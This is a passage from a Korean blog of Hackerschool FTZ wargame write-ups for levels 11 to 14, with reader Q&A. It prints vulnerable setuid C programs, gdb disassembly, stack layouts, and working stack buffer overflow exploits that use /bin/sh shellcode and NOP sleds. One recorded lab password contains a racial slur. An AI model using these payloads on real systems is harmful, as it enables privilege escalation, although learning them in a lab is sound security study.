drwxr-xr-x    2 root     level14      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level14      4096 Jan 11  2009 tmp

[level14@ftz level14]$ cat hint


레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.


#include <stdio.h>

#include <unistd.h>


main()

{ int crap;

  int check;

  char buf[20];

  fgets(buf,45,stdin);

  if (check==0xdeadbeef)

   {

     setreuid(3095,3095);

     system("/bin/sh");

   }

}




이번에는 check의 값이 0xdeadbeef 이면 쉘을 띄우네요.

리턴값을 덮을 필요 없이 check의 값만 덮어 씌워주면 될 것 같습니다.


그런데 입력을 45바이트로 제한하네요.

부족해 보이는 것 같지만 gdb로 분석을 해보면?


[level14@ftz level14]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048490 <main+0>:    push   ebp

0x08048491 <main+1>:    mov    ebp,esp

0x08048493 <main+3>:    sub    esp,0x38

0x08048496 <main+6>:    sub    esp,0x4

0x08048499 <main+9>:    push   ds:0x8049664

0x0804849f <main+15>:   push   0x2d

0x080484a1 <main+17>:   lea    eax,[ebp-56]

0x080484a4 <main+20>:   push   eax

0x080484a5 <main+21>:   call   0x8048360 <fgets>

0x080484aa <main+26>:   add    esp,0x10

0x080484ad <main+29>:   cmp    DWORD PTR [ebp-16],0xdeadbeef

0x080484b4 <main+36>:   jne    0x80484db <main+75>

0x080484b6 <main+38>:   sub    esp,0x8

0x080484b9 <main+41>:   push   0xc17

0x080484be <main+46>:   push   0xc17

0x080484c3 <main+51>:   call   0x8048380 <setreuid>

0x080484c8 <main+56>:   add    esp,0x10

0x080484cb <main+59>:   sub    esp,0xc

0x080484ce <main+62>:   push   0x8048548

0x080484d3 <main+67>:   call   0x8048340 <system>

0x080484d8 <main+72>:   add    esp,0x10

0x080484db <main+75>:   leave

0x080484dc <main+76>:   ret

0x080484dd <main+77>:   lea    esi,[esi]




낮은 주소


buf[20] [ebp-56]

dummy[20]

check[4] [ebp-16]

crap[4] 과 dummy[8]

SFP[4]

RET[4]


높은 주소


buf시작부터 check 마지막부분까지 44바이트 이니 1바이트정도 여유가 있는 것을 알 수 있습니당.


이제 check부분을 덮어줍시다.


(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme


[level14@ftz level14]$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme

my-pass


Level15 Password is "guess what".




간단하죠?

레벨 20을 향해 가즈아!!!!!!!

728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
  1. 세인 2019.07.25 19:55

    궁금한 게 있습니다!! 달고나 님 문서를 보면 gcc 2.9.6 이전 버전은 word로 할당을 하고
    이후 버전은 4word 단위로 할당을 하고 뒤에 8byte의 더미가 붙는다고 하더라구요..
    저는 당연히 4word단위 인 줄 알고 32byte배열 + 8byte를 해서 푸는 중이었는데
    알고보니 word단위로 20byte배열에 20byte dummy 이더군요...
    어떻게 word단위 이신 걸 알았나요?ㅠㅠㅠㅠ

    • M4ndU 2019.07.25 22:55 신고

      c코드를 보시면 buf가 char형으로 선언되어 있습니다.

  2. 세인 2019.07.31 03:07

    저 하나가 더 궁금해서 왔습니다.
    ebp-56 에는 buf 가 있고
    쭉 올라가서 ebp-16에는 check가 있고
    그러면 ebp-12에는 crap이 있을텐데
    ebp-8
    ebp-4
    에는 각각 어떤 값들이 들어있나요????
    sfp와 ret은 아니지 않나요??

    • M4ndU 2019.07.31 20:37 신고

      본문에도 나와있듯, 할당되어 있지 않고 쓰레기값(dummy)가 들어 있습니다.

728x90
반응형


해커스쿨 FTZ [LEVEL13] 풀이


M4ndU




해커스쿨 FTZ [LEVEL13] 풀이입니다.


ID | level13

PW | have no clue


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.





login as: level13

level13@192.168.31.128's password:

[level13@ftz level13]$ ls -l

total 28

-rwsr-x---    1 level14  level13     13953 Mar  8  2003 attackme

-rw-r-----    1 root     level13       258 Mar  8  2003 hint

drwxr-xr-x    2 root     level13      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level13      4096 Jan 11  2009 tmp

[level13@ftz level13]$ cat hint


#include <stdlib.h>


main(int argc, char *argv[])

{

   long i=0x1234567;

   char buf[1024];


   setreuid( 3094, 3094 );

   if(argc > 1)

   strcpy(buf,argv[1]);


   if(i != 0x1234567) {

   printf(" Warnning: Buffer Overflow !!! \n");

   kill(0,11);

   }

}


이번에도 깔끔하게 환경변수를 이용하여 문제를 풀겠습니...다?


소스를 보니 새로운 조건이 추가되었네요.

i 가 0x1234567이 아니라면 프로그램이 죽어버리네요.


근데 변수 선언 순서를 보면, i가 buf보다 먼저 선언되었으므로

i의 시작주소가 buf의 시작주소보다 높은 것을 알 수 있습니다.


이를 이용해서 i를 덮어쓰면 되겠죠?


실행에 옮깁시다!


일단 gdb를 통해 정확한 분석 ㄱㄱ


[level13@ftz level13]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x080484a0 <main+0>:    push   ebp

0x080484a1 <main+1>:    mov    ebp,esp

0x080484a3 <main+3>:    sub    esp,0x418

0x080484a9 <main+9>:    mov    DWORD PTR [ebp-12],0x1234567

0x080484b0 <main+16>:   sub    esp,0x8

0x080484b3 <main+19>:   push   0xc16

0x080484b8 <main+24>:   push   0xc16

0x080484bd <main+29>:   call   0x8048370 <setreuid>

0x080484c2 <main+34>:   add    esp,0x10

0x080484c5 <main+37>:   cmp    DWORD PTR [ebp+8],0x1

0x080484c9 <main+41>:   jle    0x80484e5 <main+69>

0x080484cb <main+43>:   sub    esp,0x8

0x080484ce <main+46>:   mov    eax,DWORD PTR [ebp+12]

0x080484d1 <main+49>:   add    eax,0x4

0x080484d4 <main+52>:   push   DWORD PTR [eax]

0x080484d6 <main+54>:   lea    eax,[ebp-1048]

0x080484dc <main+60>:   push   eax

0x080484dd <main+61>:   call   0x8048390 <strcpy>

0x080484e2 <main+66>:   add    esp,0x10

0x080484e5 <main+69>:   cmp    DWORD PTR [ebp-12],0x1234567

0x080484ec <main+76>:   je     0x804850d <main+109>

0x080484ee <main+78>:   sub    esp,0xc

0x080484f1 <main+81>:   push   0x80485a0

0x080484f6 <main+86>:   call   0x8048360 <printf>

0x080484fb <main+91>:   add    esp,0x10

0x080484fe <main+94>:   sub    esp,0x8

0x08048501 <main+97>:   push   0xb

0x08048503 <main+99>:   push   0x0

0x08048505 <main+101>:  call   0x8048380 <kill>

0x0804850a <main+106>:  add    esp,0x10

0x0804850d <main+109>:  leave

0x0804850e <main+110>:  ret

0x0804850f <main+111>:  nop

End of assembler dump.


오케이~ 


낮은 주소


buf[1024] [ebp-1048]

dummy[12]

i[4] [ebp-12]

dummy[8]

SFP[4]

RET[4]


높은 주소


이런 구조를 가지고 있는 것 같습니다.

그러면 buf[1024] 와 dummy[12]를 A로 채워주고, i를 01234567로 채워주고, dummy[8]과 SFP[4]를 다시 A로 채워준뒤 리턴주소를 덮어주면 될 것 같습니다. 파이썬 코드로 짜면


`python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"RETN"'`


이렇게 되겠네요.


그럼 이제 환경변수를 설정해 줍시다.


[level13@ftz level13]$ cd tmp

[level13@ftz tmp]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level13@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level13@ftz tmp]$ gcc getenv.c -o getenv

[level13@ftz tmp]$ ./getenv

ADDR -> 0xbffffc8d



./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x8d\xfc\xff\xbf"'`


익스플로잇 완성!

실행!


[level13@ftz tmp]$ cd ..

[level13@ftz level13]$ ./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x8d\xfc\xff\xbf"'`

sh-2.05b$ my-pass

TERM environment variable not set.


Level14 Password is "what that nigga want?".




...GAZ....A!


728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
  1. 세인 2019.07.24 04:12

    i가 먼저 선언됬다면 스택의 모양에서 순서를 매겨보면
    RET이 먼저 선언 되었고 그다음 sfp가 생성되었고 dummy가 있고 i 가 생성되고 dummy가 있고
    1024바이트를 선언했다는 건가요??? 만약 그렇다면 왜 gdb로 디버깅 했을 때는 1024가 먼저 선언되었나요??ㅠㅠㅠ sfp 와 ret 때문에 햇갈리네요ㅠㅠ 답변 부탁드립니다!@!!

    • M4ndU 2019.07.24 13:35 신고

      스택 메모리에서는 큰 주소부터 데이터를 채워 나갑니다.
      마지막에 선언된 buf[1024]가 가장 낮은 주소에 위치하게 되기 때문입니다.

728x90
반응형


해커스쿨 FTZ [LEVEL12] 풀이


M4ndU




해커스쿨 FTZ [LEVEL12] 풀이입니다.


ID | level12

PW | it is like this


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level12

level12@192.168.31.128's password:

[level12@ftz level12]$ ls -l

total 28

-rwsr-x---    1 level13  level12     13771 Mar  8  2003 attackme

-rw-r-----    1 root     level12       204 Mar  8  2003 hint

drwxr-xr-x    2 root     level12      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level12      4096 Jan 15  2009 tmp

[level12@ftz level12]$ cat hint



#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main( void )

{

        char str[256];


        setreuid( 3093, 3093 );

        printf( "문장을 입력하세요.\n" );

        gets( str );

        printf( "%s\n", str );

}


이번 문제도 level11과 같아보지만, main 함수의 인자가 아닌, gets 함수를 통해 입력값을 받는다는 것이 다른 것을 확인할 수 있습니다.


먼저 gdb로 분석을 합니다.


[level12@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   ebp
0x08048471 <main+1>:    mov    ebp,esp
0x08048473 <main+3>:    sub    esp,0x108
0x08048479 <main+9>:    sub    esp,0x8
0x0804847c <main+12>:   push   0xc15
0x08048481 <main+17>:   push   0xc15
0x08048486 <main+22>:   call   0x804835c <setreuid>
0x0804848b <main+27>:   add    esp,0x10
0x0804848e <main+30>:   sub    esp,0xc
0x08048491 <main+33>:   push   0x8048538
0x08048496 <main+38>:   call   0x804834c <printf>
0x0804849b <main+43>:   add    esp,0x10
0x0804849e <main+46>:   sub    esp,0xc
0x080484a1 <main+49>:   lea    eax,[ebp-264]
0x080484a7 <main+55>:   push   eax
0x080484a8 <main+56>:   call   0x804831c <gets>
0x080484ad <main+61>:   add    esp,0x10
0x080484b0 <main+64>:   sub    esp,0x8
0x080484b3 <main+67>:   lea    eax,[ebp-264]
0x080484b9 <main+73>:   push   eax
0x080484ba <main+74>:   push   0x804854c
0x080484bf <main+79>:   call   0x804834c <printf>
0x080484c4 <main+84>:   add    esp,0x10
0x080484c7 <main+87>:   leave
0x080484c8 <main+88>:   ret
0x080484c9 <main+89>:   lea    esi,[esi]
0x080484cc <main+92>:   nop
0x080484cd <main+93>:   nop
0x080484ce <main+94>:   nop
0x080484cf <main+95>:   nop
---Type <return> to continue, or q <return> to quit---
End of assembler dump.


*main+59 를 보면 ebp-264부터 입력을 받네요. level11과 스택구조가 동일한 것 같습니다.

낮은 주소


str[256]

dummy[8]

SFP[4]

RET[4]


높은 주소



이번에 풀때는 깔끔하게 환경변수를 이용해 풀어보겠습니다.


tmp폴더로 이동합니다.

그리고 다음 명령어를 순서대로 입력하여 실행합니다.


$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c


$gcc getenv.c -o getenv


$./getenv


[level12@ftz level12]$ cd tmp

[level12@ftz tmp]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level12@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level12@ftz tmp]$ gcc getenv.c -o getenv

[level12@ftz tmp]$ ./getenv

ADDR -> 0xbffffc8d


0xbffffc8d를 리턴주소로 잡고 bof를 하면 됩니다.
이때 이 프로그램은 입력을 gets함수를 통해 받으므로 다른 형태로 프로그램을 실행해야 합니다.

(python -c 'print"\x90"*268+"\x8d\xfc\xff\xbf"'; cat) | ./attackme

이렇게요.


[level12@ftz tmp]$ cd ..
[level12@ftz level12]$ (python -c 'print"\x90"*268+"\x8d\xfc\xff\xbf"'; cat) | ./attackme
문장을 입력하세요.
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱랛?

my-pass
TERM environment variable not set.

Level13 Password is "have no clue".

깔끔하죠? 레벨 떡상 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
  1. CedRiC47 2019.01.04 08:38

    EGG를 export 할때 앞에 "\x90"*15 는 왜 하는 건가요?

    • M4ndU 2019.01.05 01:11 신고

      아무것도 하지 않고 다음 명령어로 넘기는 NOP 명령어 (\x90)인데요. 안넣으셔도 됩니다.

      주소를 살짝 틀리게 적어도, 쉘코드의 중간명령어부터 시작되게 하지 않고, NOP에 걸려서 쉘코드의 시작부분으로 유도하기 위함입니다.

728x90
반응형


해커스쿨 FTZ [LEVEL11] 풀이


M4ndU




해커스쿨 FTZ [LEVEL11] 풀이입니다.


ID | level11

PW | what!@#$?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level11

level11@192.168.31.128's password:

[level11@ftz level11]$ ls -l

total 28

-rwsr-x---    1 level12  level11     13733 Mar  8  2003 attackme

-rw-r-----    1 root     level11       168 Mar  8  2003 hint

drwxr-xr-x    2 root     level11      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level11      4096 Jan 14  2009 tmp

[level11@ftz level11]$ cat hint


#include <stdio.h>

#include <stdlib.h>


int main( int argc, char *argv[] )

{

        char str[256];


        setreuid( 3092, 3092 );

        strcpy( str, argv[1] );

        printf( str );

}


이번에는 attackme라는 파일이 추가되었네요.


일단 hint를 확인해 봅시다.

attackme의 소스코드인 것 같습니다.


str의 크기는 256바이트인데 입력값의 크기를 제한하지 않네요.

이것을 보고 버퍼오버플로우 문제인 것을 알 수 있습니다.


그럼 이제 gdb를 통해 str과 RET의 거리를 알아봅시다.


[level11@ftz level11]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>:    push   ebp

0x08048471 <main+1>:    mov    ebp,esp

0x08048473 <main+3>:    sub    esp,0x108

0x08048479 <main+9>:    sub    esp,0x8

0x0804847c <main+12>:   push   0xc14

0x08048481 <main+17>:   push   0xc14

0x08048486 <main+22>:   call   0x804834c <setreuid>

0x0804848b <main+27>:   add    esp,0x10

0x0804848e <main+30>:   sub    esp,0x8

0x08048491 <main+33>:   mov    eax,DWORD PTR [ebp+12]

0x08048494 <main+36>:   add    eax,0x4

0x08048497 <main+39>:   push   DWORD PTR [eax]

0x08048499 <main+41>:   lea    eax,[ebp-264]

0x0804849f <main+47>:   push   eax

0x080484a0 <main+48>:   call   0x804835c <strcpy>

0x080484a5 <main+53>:   add    esp,0x10

0x080484a8 <main+56>:   sub    esp,0xc

0x080484ab <main+59>:   lea    eax,[ebp-264]

0x080484b1 <main+65>:   push   eax

0x080484b2 <main+66>:   call   0x804833c <printf>

0x080484b7 <main+71>:   add    esp,0x10

0x080484ba <main+74>:   leave

---Type <return> to continue, or q <return> to quit---

0x080484bb <main+75>:   ret

0x080484bc <main+76>:   nop

0x080484bd <main+77>:   nop

0x080484be <main+78>:   nop

0x080484bf <main+79>:   nop

End of assembler dump.



*main+41 과 *main+48 부분을 보면 ebp-264부터 입력값을 받는 것을 알 수 있네요. 

str에 256바이트가 할당되었으므로 8바이트가 dummy (쓰레기값)으로 존재하는 것을 알 수 있습니다.


현재 스택구조를 다음과 같이 나타낼 수 있습니다:


낮은 주소


str[256]

dummy[8]

SFP[4]

RET[4]


높은 주소



우리는 25바이트 쉘코드를 사용하겠습니다.


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


그리고 쉘코드 앞에 NOP을 의미하는 \x90으로 채우겠습니다.


268(str[256]+dummy[8]+SFP[4]) - 25(shellcode) = 243

"\x90"*243



이제 리턴주소를 구하기 위해 ebp-264의 주소를 알아보겠습니다.

ebp-264에 argv[1]을 덮어쓰는 작업을 하고 난 후인 *main+53 에 break point를 걸고


(gdb) b *main+53

Breakpoint 1 at 0x80484a5


argv[1]의 값으로 위에서 만든 코드 + 리턴주소를 입력하겠습니다.

`python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`


(gdb) r `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Starting program: /home/level11/attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Couldn't get registers: Operation not permitted.

오류가 나네요...

파일을 tmp폴더로 복사해서 진행해야겠네요.


(gdb) q
The program is running.  Exit anyway? (y or n) y

[1]+  Stopped                 gdb -q attackme
[level11@ftz level11]$ cp attackme tmp/
[level11@ftz level11]$ cd tmp
[level11@ftz tmp]$ gdb -q attackme
(gdb) b *main+53
Breakpoint 1 at 0x80484a5
(gdb) r `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Starting program: /home/level11/tmp/attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`

Breakpoint 1, 0x080484a5 in main ()


스택을 확인해 봅시다.

(gdb) x/100 $esp

0xbffff430:     0xbffff440        0xbffffb23         0xbffff460        0x00000001

0xbffff440:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff450:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff460:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff470:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff480:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff490:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4a0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4b0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4c0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4d0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4e0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4f0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff500:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff510:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff520:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff530:     0x31909090      0x2f6850c0      0x6868732f        0x6e69622f



0xbffff440 부터 시작이 되네요. 리턴 주소로 0xbffff440으로 잡고 tmp/attackme 를 실행해보겠습니다.

./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xf4\xff\xbf"'`

[level11@ftz tmp]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xf4\xff\xbf"'`
Segmentation fault

음.. 아무래도 노가다가 필요해 보이네요. 쉘이 뜰때까지 리턴주소를 바꿔주며 반복시도 해보겠습니다.

Segmentation fault
Segmentation fault
Segmentation fault

[level11@ftz tmp]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xfb\xff\xbf"'`
sh-2.05b$ exit
exit


0xbffffb40에서 성공했습니다!
이제 본래 문제 파일에서 시도하겠습니다.

[level11@ftz tmp]$ cd ..
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xfb\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".

가즈으으ㅡ으으으아ㅏ아아ㅏ



728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
  1. 떠돌이철새 2019.03.21 14:40 신고

    리턴주소를 바꾼다는 부분에서 이해를 못했는데 설명 부탁드려도 되겠습니까?

+ Recent posts